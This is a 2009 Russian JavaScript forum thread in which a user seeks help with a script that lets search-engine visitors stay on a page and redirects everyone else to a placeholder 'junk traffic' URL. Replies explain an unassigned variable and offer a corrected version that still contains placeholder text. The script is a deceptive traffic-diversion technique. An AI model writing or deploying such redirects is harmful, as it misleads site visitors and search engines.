Модераторы: Sardar, Aliance
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Помгите разобраться с JS 
:(
    Опции темы
viperson
Дата 5.7.2009, 09:16 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 91
Регистрация: 5.1.2009

Репутация: нет
Всего: -1



Здравствуйте. 

Нужна помощь в исправлении скрипта. 

Написал скрипт, но почему-то он не хочет выполняться. Суть скрипта - если юзер пришел с поисковика или пришел бот поисковой системы, то загружается страница без редиректа, если же юзер просто подставил урл в браузер, то необходимо средиректить его. Очень нужна помощь специалистов.

Код скрипта следующий:

Код

<script>

var ref; var i; var is_se;

var se = new Array('google','msn','yahoo','yandex','rambler','aport','mail','km.ru','meta','all.by','tut.by','online.ua','nigma');

if(document.referrer)ref=document.referrer;

else ref="";

for(i=0;i<13;i++)

{if(ref.indexOf(se[i])>=0){урл для поискового трафа;}}

if(is_se==0){location.replace

("урл для слива левого трафа");}

</script>







PM   Вверх
rabbitObject
Дата 6.7.2009, 14:48 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 34
Регистрация: 23.1.2007
Где: Беларусь

Репутация: 1
Всего: 1



Цитата

if(is_se==0){location.replace

У тебя  is_se не присваевается ничего. Она как была undefined так и осталась. Судя по твоему коду, этот if никогда не сработает.
PM MAIL   Вверх
viperson
Дата 6.7.2009, 15:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 91
Регистрация: 5.1.2009

Репутация: нет
Всего: -1



Цитата(rabbitObject @ 6.7.2009,  14:48)
Цитата

if(is_se==0){location.replace

У тебя  is_se не присваевается ничего. Она как была undefined так и осталась. Судя по твоему коду, этот if никогда не сработает.

Ну как это не сработает. В следующей строке стоит ("урл для слива левого трафа");} . Вместо  урл для слива левого трафа подставляется урл куда слать серфера.
PM   Вверх
Photon
Дата 6.7.2009, 15:39 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Злобный программер
**


Профиль
Группа: Участник
Сообщений: 282
Регистрация: 27.2.2009
Где: Таганрог

Репутация: нет
Всего: 12



viperson,  тебе по-русски объяснили, что переменная is_se неопределена, т.е. (is_se == 0) никогда не будет истиной и конструкция location.replace никогда не выполнится


--------------------
With best regards..
PM MAIL ICQ Skype GTalk Jabber   Вверх
Padonak
Дата 6.7.2009, 16:42 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 63
Регистрация: 29.5.2008
Где: Ростов-на-Дону

Репутация: 2
Всего: 2



Код

<script>

var ref;
var is_se = 0;
var se = new Array('google','msn','yahoo','yandex','rambler','aport','mail','km.ru','meta','all.by','tut.by','online.ua','nigma');

if(document.referrer){
ref = document.referrer;
for(var i = 0; i < se.length; i++){
if(ref.indexOf(se[i])>=0){урл для поискового трафа; is_se++; break;}
else{continue;}
}
if(is_se == 0){location.replace("урл для слива левого трафа");}
}

//else{ref = "";}


</script>


может так?
PM MAIL WWW ICQ   Вверх
fidres
Дата 9.7.2009, 05:49 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 159
Регистрация: 15.11.2006

Репутация: нет
Всего: 1



 smile 
ну так возьми и проверь - так оно или не так.
 smile 
--------------------
Исправьте ошибку в слове <ХЕРОШО> и я скажу Вам оптимист Вы или пессимист.
PM ICQ   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | JavaScript: для новичков | Следующая тема »


 




[ Время генерации скрипта: 0.0537 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.